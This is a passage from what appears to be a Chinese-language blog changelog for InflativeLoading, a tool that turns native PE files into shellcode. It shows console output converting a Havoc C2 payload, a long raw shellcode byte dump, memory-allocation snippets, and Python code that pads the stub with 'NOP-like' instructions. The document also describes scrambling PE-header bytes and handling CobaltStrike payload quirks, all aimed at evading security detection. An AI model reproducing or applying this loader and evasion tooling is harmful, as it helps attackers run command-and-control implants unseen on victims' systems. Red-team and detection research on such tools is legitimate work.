文章：https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
本节提供主要更新。主要更新包括新增的支持或功能。
PE头中只有少数字节（如e_lfanew、导入目录的RVA）对完成加载过程是必需的。因此，其他字节可以用随机数据覆盖以隐藏PE头签名。
在所有过程完成后，甚至这些字节也会被覆盖以实现完全混淆。例如，从下面的截图可以看出，PE头大部分已被混淆，但e_lfanew 仍未被混淆以用于加载。但加载过程完成后，e_lfanew 也会被混淆。
然而，根据所选程序的不同，混淆可能与其不兼容。你需要了解该程序的工作原理。例如，Havoc 无状态DLL载荷与混淆功能不兼容，因为该DLL也使用了PE头。
Havoc 无状态EXE载荷与混淆配合良好：```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
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Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 将填充的NOP替换为NOP-Like指令序列
在更新之前，`0x90/NOP` 指令被填充在实际shellcode存根之后，以对齐内存页。许多NOP可能成为检测指标，因此，InflativeLoading脚本动态选择预设的NOP-Like指令序列。用户也可以添加新的序列或替换现有序列，以实现更好的混淆效果。```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
我增加了额外的 shellcode 逻辑来处理一些不常见的异常。例如，在 CobaltStrike 无状态 DLL 载荷中，部分基址重定位条目是无效的，因为页面 RVA 大于镜像大小。
镜像大小为 0x58000。
然而，某些 RVA 大于 0x58000。
此外，shellcode 在执行完转换后的 shellcode 后优雅地退出程序。
现在转储器可以显示更多信息，并提供内存分配建议：```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
The shellcode stub is fixed at `0x1000` bytes, the PE header is fixed at `0x1000` bytes, and the size of the text section and other sections varies.